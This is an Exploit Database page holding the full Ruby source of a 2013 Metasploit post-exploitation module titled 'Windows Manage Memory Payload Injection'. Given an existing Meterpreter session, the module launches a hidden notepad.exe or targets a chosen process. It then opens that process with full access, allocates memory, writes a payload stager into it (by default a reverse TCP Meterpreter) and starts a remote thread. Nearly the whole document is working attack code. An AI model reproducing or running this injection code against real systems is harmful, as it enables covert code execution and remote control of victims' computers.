Microsoft Windows – Manage Memory Payload Injection (Metasploit)

• Exploit Database
• 104 阅读

• 作者： Metasploit
  日期： 2013-01-25
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/24366/

• ##
  # ## This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # web site for more information on licensing and terms of use.
  # http://metasploit.com/
  ##
  
  require 'msf/core'
  require 'rex'
  require 'msf/core/exploit/exe'
  
  class Metasploit3 < Msf::Exploit::Local
  	Rank = ExcellentRanking
  
  	def initialize(info={})
  		super( update_info( info,
  			'Name'=> 'Windows Manage Memory Payload Injection',
  			'Description' => %q{
  					This module will inject a payload into memory of a process.If a payload
  				isn't selected, then it'll default to a reverse x86 TCP meterpreter.If the PID
  				datastore option isn't specified, then it'll inject into notepad.exe instead.
  			},
  			'License' => MSF_LICENSE,
  			'Author'=>
  				[
  					'Carlos Perez <carlos_perez[at]darkoperator.com>',
  					'sinn3r'
  				],
  			'Platform'=> [ 'win' ],
  			'SessionTypes'=> [ 'meterpreter' ],
  			'Targets' => [ [ 'Windows', {} ] ],
  			'DefaultTarget' => 0,
  			'DisclosureDate'=> "Oct 12 2011"
  		))
  
  		register_options(
  			[
  				OptInt.new('PID', [false, 'Process Identifier to inject of process to inject payload.']),
  				OptBool.new('NEWPROCESS', [false, 'New notepad.exe to inject to', false])
  			], self.class)
  	end
  
  	# Run Method for when run command is issued
  	def exploit
  		@payload_name = datastore['PAYLOAD']
  		@payload_arch = framework.payloads.create(@payload_name).arch
  
  		# syinfo is only on meterpreter sessions
  		print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil?
  
  		pid = get_pid
  		if not pid
  			print_error("Unable to get a proper PID")
  			return
  		end
  
  		if @payload_arch.first =~ /64/ and client.platform =~ /x86/
  			print_error("You are trying to inject to a x64 process from a x86 version of Meterpreter.")
  			print_error("Migrate to an x64 process and try again.")
  			return false
  		else
  			inject_into_pid(pid)
  		end
  	end
  
  	# Figures out which PID to inject to
  	def get_pid
  		pid = datastore['PID']
  		if pid == 0 or datastore['NEWPROCESS'] or not has_pid?(pid)
  			print_status("Launching notepad.exe...")
  			pid = create_temp_proc
  		end
  
  		return pid
  	end
  
  
  	# Determines if a PID actually exists
  	def has_pid?(pid)
  		procs = []
  		begin
  			procs = client.sys.process.processes
  		rescue Rex::Post::Meterpreter::RequestError
  			print_error("Unable to enumerate processes")
  			return false
  		end
  
  		pids = []
  
  		procs.each do |p|
  			found_pid = p['pid'] 
  			return true if found_pid == pid
  		end
  
  		print_error("PID #{pid.to_s} does not actually exist.")
  
  		return false
  	end
  
  	# Checks the Architeture of a Payload and PID are compatible
  	# Returns true if they are false if they are not
  	def arch_check(pid)
  		# get the pid arch
  		client.sys.process.processes.each do |p|
  			# Check Payload Arch
  			if pid == p["pid"]
  				vprint_status("Process found checking Architecture")
  				if @payload_arch.first == p['arch']
  					vprint_good("Process is the same architecture as the payload")
  					return true
  				else
  					print_error("The PID #{ p['arch']} and Payload #{@payload_arch.first} architectures are different.")
  					return false
  				end
  			end
  		end
  	end
  
  	# Creates a temp notepad.exe to inject payload in to given the payload
  	# Returns process PID
  	def create_temp_proc()
  		windir = client.fs.file.expand_path("%windir%")
  		# Select path of executable to run depending the architecture
  		if @payload_arch.first== "x86" and client.platform =~ /x86/
  			cmd = "#{windir}\\System32\\notepad.exe"
  		elsif @payload_arch.first == "x86_64" and client.platform =~ /x64/
  			cmd = "#{windir}\\System32\\notepad.exe"
  		elsif @payload_arch.first == "x86_64" and client.platform =~ /x86/
  			cmd = "#{windir}\\Sysnative\\notepad.exe"
  		elsif @payload_arch.first == "x86" and client.platform =~ /x64/
  			cmd = "#{windir}\\SysWOW64\\notepad.exe"
  		end
  
  		begin
  			proc = client.sys.process.execute(cmd, nil, {'Hidden' => true })
  		rescue Rex::Post::Meterpreter::RequestError
  			return nil
  		end
  
  		return proc.pid
  	end
  
  	def inject_into_pid(pid)
  		vprint_status("Performing Architecture Check")
  		return if not arch_check(pid)
  
  		begin
  			print_status("Preparing '#{@payload_name}' for PID #{pid}")
  			raw = payload.generate
  
  			print_status("Opening process #{pid.to_s}")
  			host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
  			if not host_process
  				print_error("Unable to open #{pid.to_s}")
  				return
  			end
  
  			print_status("Allocating memory in procees #{pid}")
  			mem = host_process.memory.allocate(raw.length + (raw.length % 1024))
  
  			# Ensure memory is set for execution
  			host_process.memory.protect(mem)
  
  			print_status("Allocated memory at address #{"0x%.8x" % mem}, for #{raw.length} byte stager")
  			print_status("Writing the stager into memory...")
  			host_process.memory.write(mem, raw)
  			host_process.thread.create(mem, 0)
  			print_good("Successfully injected payload in to process: #{pid}")
  
  		rescue Rex::Post::Meterpreter::RequestError => e
  			print_error("Unable to inject payload:")
  			print_line(e.to_s)
  		end
  	end
  
  end
  

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